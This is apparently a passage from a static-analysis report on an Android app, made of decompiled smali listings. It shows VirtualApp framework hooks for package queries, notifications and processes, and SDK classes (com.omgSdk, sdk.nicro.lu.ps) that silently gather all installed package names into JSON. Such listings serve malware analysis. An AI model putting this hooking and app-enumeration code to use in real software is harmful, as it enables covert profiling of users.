                              24invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              25return-object v0
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.ResolveInfo.providerInfo:Landroid/content/pm/ProviderInfo
                              • android.content.pm.ResolveInfo.providerInfo:Landroid/content/pm/ProviderInfo
                              • android.content.pm.ProviderInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              • java.util.Iterator.remove
                              • java.util.List.addAll
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x0
                              3invoke-static {p2}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->isReturnParceledListSlice(Ljava/lang/reflect/Method;)Z
                              4move-result v3
                              6invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              7move-result v4
                              9invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              10move-result-object v5
                              11aget-object v0, p3, v6
                              12check-cast v0, Landroid/content/Intent;
                              13const/4 v1, 0x1
                              14aget-object v1, p3, v1
                              15check-cast v1, Ljava/lang/String;
                              16const/4 v2, 0x2
                              17aget-object v2, p3, v2
                              18check-cast v2, Ljava/lang/Integer;
                              20invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              21move-result v2
                              23invoke-virtual {v5, v0, v1, v2, v4}, Lcom/lody/virtual/client/ipc/VPackageManager;->queryIntentContentProviders(Landroid/content/Intent;Ljava/lang/String;II)Ljava/util/List;
                              24move-result-object v1
                              26invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              27move-result-object v0
                              28if-eqz v3, :cond_5a
                              30sget-object v2, Lmirror/android/content/pm/ParceledListSlice;->getList:Lmirror/RefMethod;
                              31new-array v3, v6, [Ljava/lang/Object;
                              33invoke-virtual {v2, v0, v3}, Lmirror/RefMethod;->call(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              34move-result-object v0
                              35check-cast v0, Ljava/util/List;
                              36move-object v2, v0
                              37goto_34: if-eqz v2, :cond_61
                              39invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              40move-result-object v3
                              41goto_3a:
                              42invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              43move-result v0
                              44if-eqz v0, :cond_5e
                              46invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              47move-result-object v0
                              48check-cast v0, Landroid/content/pm/ResolveInfo;
                              49if-eqz v0, :cond_56
                              51iget-object v4, v0, Landroid/content/pm/ResolveInfo;->providerInfo:Landroid/content/pm/ProviderInfo;
                              52if-eqz v4, :cond_56
                              54iget-object v0, v0, Landroid/content/pm/ResolveInfo;->providerInfo:Landroid/content/pm/ProviderInfo;
                              56iget-object v0, v0, Landroid/content/pm/ProviderInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              58invoke-static {v0}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$QueryIntentContentProviders;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              59move-result v0
                              60if-nez v0, :cond_3a
                              61cond_56:
                              62invoke-interface {v3}, Ljava/util/Iterator;->remove()V
                              63goto/16 :goto_3a
                              64cond_5a: check-cast v0, Ljava/util/List;
                              65move-object v2, v0
                              66goto/16 :goto_34
                              67cond_5e:
                              68invoke-interface {v1, v2}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
                              69cond_61:
                              70invoke-static {p2}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->isReturnParceledListSlice(Ljava/lang/reflect/Method;)Z
                              71move-result v0
                              72if-eqz v0, :cond_6c
                              74invoke-static {v1}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->create(Ljava/util/List;)Ljava/lang/Object;
                              75move-result-object v0
                              76goto_6b: return-object v0
                              77cond_6c: move-object v0, v1
                              78goto/16 :goto_6b
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ActivityInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              • java.util.Iterator.remove
                              • java.util.List.addAll
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x0
                              3invoke-static {p2}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->isReturnParceledListSlice(Ljava/lang/reflect/Method;)Z
                              4move-result v3
                              6invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              7move-result v4
                              9invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              10move-result-object v5
                              11aget-object v0, p3, v6
                              12check-cast v0, Landroid/content/Intent;
                              13const/4 v1, 0x1
                              14aget-object v1, p3, v1
                              15check-cast v1, Ljava/lang/String;
                              16const/4 v2, 0x2
                              17aget-object v2, p3, v2
                              18check-cast v2, Ljava/lang/Integer;
                              20invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              21move-result v2
                              23invoke-virtual {v5, v0, v1, v2, v4}, Lcom/lody/virtual/client/ipc/VPackageManager;->queryIntentActivities(Landroid/content/Intent;Ljava/lang/String;II)Ljava/util/List;
                              24move-result-object v1
                              26invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              27move-result-object v0
                              28if-eqz v0, :cond_63
                              29if-eqz v3, :cond_5c
                              31sget-object v2, Lmirror/android/content/pm/ParceledListSlice;->getList:Lmirror/RefMethod;
                              32new-array v4, v6, [Ljava/lang/Object;
                              34invoke-virtual {v2, v0, v4}, Lmirror/RefMethod;->call(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              35move-result-object v0
                              36check-cast v0, Ljava/util/List;
                              37move-object v2, v0
                              38goto_36: if-eqz v2, :cond_63
                              40invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              41move-result-object v4
                              42goto_3c:
                              43invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                              44move-result v0
                              45if-eqz v0, :cond_60
                              47invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              48move-result-object v0
                              49check-cast v0, Landroid/content/pm/ResolveInfo;
                              50if-eqz v0, :cond_58
                              52iget-object v5, v0, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                              53if-eqz v5, :cond_58
                              55iget-object v0, v0, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                              57iget-object v0, v0, Landroid/content/pm/ActivityInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              59invoke-static {v0}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$QueryIntentActivities;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              60move-result v0
                              61if-nez v0, :cond_3c
                              62cond_58:
                              63invoke-interface {v4}, Ljava/util/Iterator;->remove()V
                              64goto/16 :goto_3c
                              65cond_5c: check-cast v0, Ljava/util/List;
                              66move-object v2, v0
                              67goto/16 :goto_36
                              68cond_60:
                              69invoke-interface {v1, v2}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
                              70cond_63: if-eqz v3, :cond_6a
                              72invoke-static {v1}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->create(Ljava/util/List;)Ljava/lang/Object;
                              73move-result-object v0
                              74goto_69: return-object v0
                              75cond_6a: move-object v0, v1
                              76goto/16 :goto_69
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.ResolveInfo.serviceInfo:Landroid/content/pm/ServiceInfo
                              • android.content.pm.ResolveInfo.serviceInfo:Landroid/content/pm/ServiceInfo
                              • android.content.pm.ServiceInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              • java.util.Iterator.remove
                              • java.util.List.addAll
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x0
                              3invoke-static {p2}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->isReturnParceledListSlice(Ljava/lang/reflect/Method;)Z
                              4move-result v3
                              6invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              7move-result v4
                              9invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              10move-result-object v5
                              11aget-object v0, p3, v6
                              12check-cast v0, Landroid/content/Intent;
                              13const/4 v1, 0x1
                              14aget-object v1, p3, v1
                              15check-cast v1, Ljava/lang/String;
                              16const/4 v2, 0x2
                              17aget-object v2, p3, v2
                              18check-cast v2, Ljava/lang/Integer;
                              20invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              21move-result v2
                              23invoke-virtual {v5, v0, v1, v2, v4}, Lcom/lody/virtual/client/ipc/VPackageManager;->queryIntentServices(Landroid/content/Intent;Ljava/lang/String;II)Ljava/util/List;
                              24move-result-object v1
                              26invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              27move-result-object v0
                              28if-eqz v0, :cond_63
                              29if-eqz v3, :cond_5c
                              31sget-object v2, Lmirror/android/content/pm/ParceledListSlice;->getList:Lmirror/RefMethod;
                              32new-array v4, v6, [Ljava/lang/Object;
                              34invoke-virtual {v2, v0, v4}, Lmirror/RefMethod;->call(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              35move-result-object v0
                              36check-cast v0, Ljava/util/List;
                              37move-object v2, v0
                              38goto_36: if-eqz v2, :cond_63
                              40invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              41move-result-object v4
                              42goto_3c:
                              43invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                              44move-result v0
                              45if-eqz v0, :cond_60
                              47invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              48move-result-object v0
                              49check-cast v0, Landroid/content/pm/ResolveInfo;
                              50if-eqz v0, :cond_58
                              52iget-object v5, v0, Landroid/content/pm/ResolveInfo;->serviceInfo:Landroid/content/pm/ServiceInfo;
                              53if-eqz v5, :cond_58
                              55iget-object v0, v0, Landroid/content/pm/ResolveInfo;->serviceInfo:Landroid/content/pm/ServiceInfo;
                              57iget-object v0, v0, Landroid/content/pm/ServiceInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              59invoke-static {v0}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$QueryIntentServices;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              60move-result v0
                              61if-nez v0, :cond_3c
                              62cond_58:
                              63invoke-interface {v4}, Ljava/util/Iterator;->remove()V
                              64goto/16 :goto_3c
                              65cond_5c: check-cast v0, Ljava/util/List;
                              66move-object v2, v0
                              67goto/16 :goto_36
                              68cond_60:
                              69invoke-interface {v1, v2}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
                              70cond_63: if-eqz v3, :cond_6a
                              72invoke-static {v1}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->create(Ljava/util/List;)Ljava/lang/Object;
                              73move-result-object v0
                              74goto_69: return-object v0
                              75cond_6a: move-object v0, v1
                              76goto/16 :goto_69
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                              • android.content.pm.ActivityInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              • java.util.Iterator.remove
                              • java.util.List.addAll
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x0
                              3invoke-static {p2}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->isReturnParceledListSlice(Ljava/lang/reflect/Method;)Z
                              4move-result v3
                              6invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              7move-result v4
                              9invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              10move-result-object v5
                              11aget-object v0, p3, v6
                              12check-cast v0, Landroid/content/Intent;
                              13const/4 v1, 0x1
                              14aget-object v1, p3, v1
                              15check-cast v1, Ljava/lang/String;
                              16const/4 v2, 0x2
                              17aget-object v2, p3, v2
                              18check-cast v2, Ljava/lang/Integer;
                              20invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              21move-result v2
                              23invoke-virtual {v5, v0, v1, v2, v4}, Lcom/lody/virtual/client/ipc/VPackageManager;->queryIntentReceivers(Landroid/content/Intent;Ljava/lang/String;II)Ljava/util/List;
                              24move-result-object v1
                              26invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              27move-result-object v0
                              28if-eqz v3, :cond_5a
                              30sget-object v2, Lmirror/android/content/pm/ParceledListSlice;->getList:Lmirror/RefMethod;
                              31new-array v4, v6, [Ljava/lang/Object;
                              33invoke-virtual {v2, v0, v4}, Lmirror/RefMethod;->call(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              34move-result-object v0
                              35check-cast v0, Ljava/util/List;
                              36move-object v2, v0
                              37goto_34: if-eqz v2, :cond_61
                              39invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              40move-result-object v4
                              41goto_3a:
                              42invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                              43move-result v0
                              44if-eqz v0, :cond_5e
                              46invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              47move-result-object v0
                              48check-cast v0, Landroid/content/pm/ResolveInfo;
                              49if-eqz v0, :cond_56
                              51iget-object v5, v0, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                              52if-eqz v5, :cond_56
                              54iget-object v0, v0, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                              56iget-object v0, v0, Landroid/content/pm/ActivityInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              58invoke-static {v0}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$QueryIntentReceivers;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              59move-result v0
                              60if-nez v0, :cond_3a
                              61cond_56:
                              62invoke-interface {v4}, Ljava/util/Iterator;->remove()V
                              63goto/16 :goto_3a
                              64cond_5a: check-cast v0, Ljava/util/List;
                              65move-object v2, v0
                              66goto/16 :goto_34
                              67cond_5e:
                              68invoke-interface {v1, v2}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
                              69cond_61: if-eqz v3, :cond_68
                              71invoke-static {v1}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->create(Ljava/util/List;)Ljava/lang/Object;
                              72move-result-object v0
                              73goto_67: return-object v0
                              74cond_68: move-object v0, v1
                              75goto/16 :goto_67
                              Cross References
                              APIs
                              • org.json.JSONArray.<init>
                              • android.content.Context.getPackageManager
                              • android.content.pm.PackageManager.getInstalledPackages
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                              • org.json.JSONArray.put
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v1, Lorg/json/JSONArray;
                              3invoke-direct {v1}, Lorg/json/JSONArray;-><init>()V
                              5iget-object v0, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              7invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              8move-result-object v0
                              9const/4 v2, 0x0
                              11invoke-virtual {v0, v2}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
                              12move-result-object v0
                              14invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              15move-result-object v2
                              16goto_14:
                              17invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              18move-result v0
                              19if-eqz v0, :cond_26
                              21invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              22move-result-object v0
                              23check-cast v0, Landroid/content/pm/PackageInfo;
                              25iget-object v0, v0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                              27invoke-virtual {v1, v0}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              28goto/16 :goto_14
                              29cond_26: return-object v1
                              Cross References
                              APIs
                              • org.json.JSONArray.<init>
                              • android.content.Context.getPackageManager
                              • android.content.pm.PackageManager.getInstalledPackages
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                              • org.json.JSONArray.put
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v1, Lorg/json/JSONArray;
                              3invoke-direct {v1}, Lorg/json/JSONArray;-><init>()V
                              5iget-object v0, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              7invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              8move-result-object v0
                              9const/4 v2, 0x0
                              11invoke-virtual {v0, v2}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
                              12move-result-object v0
                              14invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              15move-result-object v2
                              16goto_14:
                              17invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              18move-result v0
                              19if-eqz v0, :cond_26
                              21invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              22move-result-object v0
                              23check-cast v0, Landroid/content/pm/PackageInfo;
                              25iget-object v0, v0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                              27invoke-virtual {v1, v0}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              28goto/16 :goto_14
                              29cond_26: return-object v1
                              Cross References
                              APIs
                              • org.json.JSONArray.<init>
                              • com.omgSdk.outport.BackgroundService.getPackageManager
                              • android.content.pm.PackageManager.getInstalledPackages
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                              • org.json.JSONArray.put
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v1, Lorg/json/JSONArray;
                              3invoke-direct {v1}, Lorg/json/JSONArray;-><init>()V
                              5invoke-virtual {p0}, Lcom/omgSdk/outport/BackgroundService;->getPackageManager()Landroid/content/pm/PackageManager;
                              6move-result-object v0
                              7const/4 v2, 0x0
                              9invoke-virtual {v0, v2}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
                              10move-result-object v0
                              12invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              13move-result-object v2
                              14goto_12:
                              15invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              16move-result v0
                              17if-eqz v0, :cond_24
                              19invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              20move-result-object v0
                              21check-cast v0, Landroid/content/pm/PackageInfo;
                              23iget-object v0, v0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                              25invoke-virtual {v1, v0}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              26goto/16 :goto_12
                              27cond_24: return-object v1
                              APIs
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/16 v10, 0x12
                              2const/4 v3, 0x1
                              3const/4 v9, 0x0
                              4aget-object v0, p3, v9
                              5check-cast v0, Ljava/lang/String;
                              7invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotificationWithTag;->getHostPkg()Ljava/lang/String;
                              8move-result-object v1
                              10invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              11move-result v1
                              12if-eqz v1, :cond_17
                              14invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              15move-result-object v0
                              16goto_16: return-object v0
                              17cond_17: const-class v1, Landroid/app/Notification;
                              19invoke-static {p3, v1}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfFirst([Ljava/lang/Object;Ljava/lang/Class;)I
                              20move-result v4
                              21const-class v1, Ljava/lang/Integer;
                              23invoke-static {p3, v1}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfFirst([Ljava/lang/Object;Ljava/lang/Class;)I
                              24move-result v5
                              25sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              26if-lt v1, v10, :cond_68
                              27const/4 v1, 0x2
                              28move v2, v1
                              29goto_29: aget-object v1, p3, v5
                              30check-cast v1, Ljava/lang/Integer;
                              32invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              33move-result v6
                              34aget-object v1, p3, v2
                              35check-cast v1, Ljava/lang/String;
                              37invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              38move-result-object v7
                              40invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotificationWithTag;->getAppUserId()I
                              41move-result v8
                              43invoke-virtual {v7, v6, v0, v1, v8}, Lcom/lody/virtual/client/ipc/VNotificationManager;->dealNotificationId(ILjava/lang/String;Ljava/lang/String;I)I
                              44move-result v6
                              46invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              47move-result-object v7
                              49invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotificationWithTag;->getAppUserId()I
                              50move-result v8
                              52invoke-virtual {v7, v6, v0, v1, v8}, Lcom/lody/virtual/client/ipc/VNotificationManager;->dealNotificationTag(ILjava/lang/String;Ljava/lang/String;I)Ljava/lang/String;
                              53move-result-object v7
                              55invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              56move-result-object v1
                              57aput-object v1, p3, v5
                              58aput-object v7, p3, v2
                              59aget-object v1, p3, v4
                              60check-cast v1, Landroid/app/Notification;
                              62invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              63move-result-object v2
                              65invoke-virtual {v2, v6, v1, v0}, Lcom/lody/virtual/client/ipc/VNotificationManager;->dealNotification(ILandroid/app/Notification;Ljava/lang/String;)Z
                              66move-result v1
                              67if-nez v1, :cond_6a
                              69invoke-static {v9}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              70move-result-object v0
                              71goto/16 :goto_16
                              72cond_68: move v2, v3
                              73goto/16 :goto_29
                              74cond_6a:
                              75invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              76move-result-object v1
                              78invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotificationWithTag;->getAppUserId()I
                              79move-result v2
                              81invoke-virtual {v1, v6, v7, v0, v2}, Lcom/lody/virtual/client/ipc/VNotificationManager;->addNotification(ILjava/lang/String;Ljava/lang/String;I)V
                              83invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotificationWithTag;->getHostPkg()Ljava/lang/String;
                              84move-result-object v0
                              85aput-object v0, p3, v9
                              86sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              87if-lt v0, v10, :cond_8b
                              88aget-object v0, p3, v3
                              89instance-of v0, v0, Ljava/lang/String;
                              90if-eqz v0, :cond_8b
                              92invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotificationWithTag;->getHostPkg()Ljava/lang/String;
                              93move-result-object v0
                              94aput-object v0, p3, v3
                              95cond_8b:
                              96invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              97move-result-object v0
                              98goto/16 :goto_16
                              Cross References
                              APIs
                              • com.lody.virtual.client.IVClient$Stub.asInterface
                              • android.os.Process.killProcess
                              • android.os.Process.killProcess
                              • android.os.Process.killProcess
                              • android.os.IBinder.linkToDeath
                              • com.lody.virtual.server.am.VActivityManagerService.mProcessNames:Lcom/lody/virtual/server/am/ProcessMap
                              • com.lody.virtual.server.am.VActivityManagerService.mProcessNames:Lcom/lody/virtual/server/am/ProcessMap
                              • com.lody.virtual.server.am.ProcessRecord.processName:Ljava/lang/String
                              • com.lody.virtual.server.am.VActivityManagerService.mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray
                              • android.os.RemoteException.printStackTrace
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              3invoke-static {p2}, Lcom/lody/virtual/client/IVClient$Stub;->asInterface(Landroid/os/IBinder;)Lcom/lody/virtual/client/IVClient;
                              4move-result-object v3
                              5if-nez v3, :cond_b
                              7invoke-static {p1}, Landroid/os/Process;->killProcess(I)V
                              8goto_a: return-void
                              9cond_b:
                              10invoke-interface {v3}, Lcom/lody/virtual/client/IVClient;->getAppThread()Landroid/os/IBinder;
                              11move-result-object v0
                              13invoke-static {v0}, Lcom/lody/virtual/helper/compat/ApplicationThreadCompat;->asInterface(Landroid/os/IBinder;)Landroid/os/IInterface;
                              14try_end_12: move-result-object v0
                              15move-object v2, v0
                              16goto_14: if-nez v2, :cond_1d
                              18invoke-static {p1}, Landroid/os/Process;->killProcess(I)V
                              19goto/16 :goto_a
                              20catch_1a: move-exception v0
                              21move-object v2, v1
                              22goto/16 :goto_14
                              23cond_1d:
                              24invoke-interface {v3}, Lcom/lody/virtual/client/IVClient;->getToken()Landroid/os/IBinder;
                              25move-result-object v0
                              26instance-of v4, v0, Lcom/lody/virtual/server/am/ProcessRecord;
                              27if-eqz v4, :cond_5c
                              28check-cast v0, Lcom/lody/virtual/server/am/ProcessRecord;
                              29try_end_27: move-object v1, v0
                              30goto_28: if-nez v1, :cond_2e
                              32invoke-static {p1}, Landroid/os/Process;->killProcess(I)V
                              33goto/16 :goto_a
                              34cond_2e: new-instance v0, Lcom/lody/virtual/server/am/VActivityManagerService$1;
                              36invoke-direct {v0, p0, p2, v1}, Lcom/lody/virtual/server/am/VActivityManagerService$1;-><init>(Lcom/lody/virtual/server/am/VActivityManagerService;Landroid/os/IBinder;Lcom/lody/virtual/server/am/ProcessRecord;)V
                              37const/4 v4, 0x0
                              39invoke-interface {p2, v0, v4}, Landroid/os/IBinder;->linkToDeath(Landroid/os/IBinder$DeathRecipient;I)V
                              40try_end_37: iput-object v3, v1, Lcom/lody/virtual/server/am/ProcessRecord;->client:Lcom/lody/virtual/client/IVClient;
                              41iput-object v2, v1, Lcom/lody/virtual/server/am/ProcessRecord;->appThread:Landroid/os/IInterface;
                              42iput p1, v1, Lcom/lody/virtual/server/am/ProcessRecord;->pid:I
                              44iget-object v2, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mProcessNames:Lcom/lody/virtual/server/am/ProcessMap;
                              45monitor-enter v2
                              46try_start_40:
                              47iget-object v0, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mProcessNames:Lcom/lody/virtual/server/am/ProcessMap;
                              49iget-object v3, v1, Lcom/lody/virtual/server/am/ProcessRecord;->processName:Ljava/lang/String;
                              50iget v4, v1, Lcom/lody/virtual/server/am/ProcessRecord;->vuid:I
                              52invoke-virtual {v0, v3, v4, v1}, Lcom/lody/virtual/server/am/ProcessMap;->put(Ljava/lang/String;ILjava/lang/Object;)Ljava/lang/Object;
                              54iget-object v0, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mPidsSelfLocked:Lcom/lody/virtual/helper/collection/SparseArray;
                              55iget v3, v1, Lcom/lody/virtual/server/am/ProcessRecord;->pid:I
                              57invoke-virtual {v0, v3, v1}, Lcom/lody/virtual/helper/collection/SparseArray;->put(ILjava/lang/Object;)V
                              58monitor-exit v2
                              59goto/16 :goto_a
                              60catchall_52: move-exception v0
                              61monitor-exit v2
                              62try_end_54: throw v0
                              63catch_55: move-exception v0
                              65invoke-virtual {v0}, Landroid/os/RemoteException;->printStackTrace()V
                              66goto/16 :goto_37
                              67catch_5a: move-exception v0
                              68goto/16 :goto_28
                              69cond_5c: move-object v0, v1
                              70goto/16 :goto_27
                              APIs
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
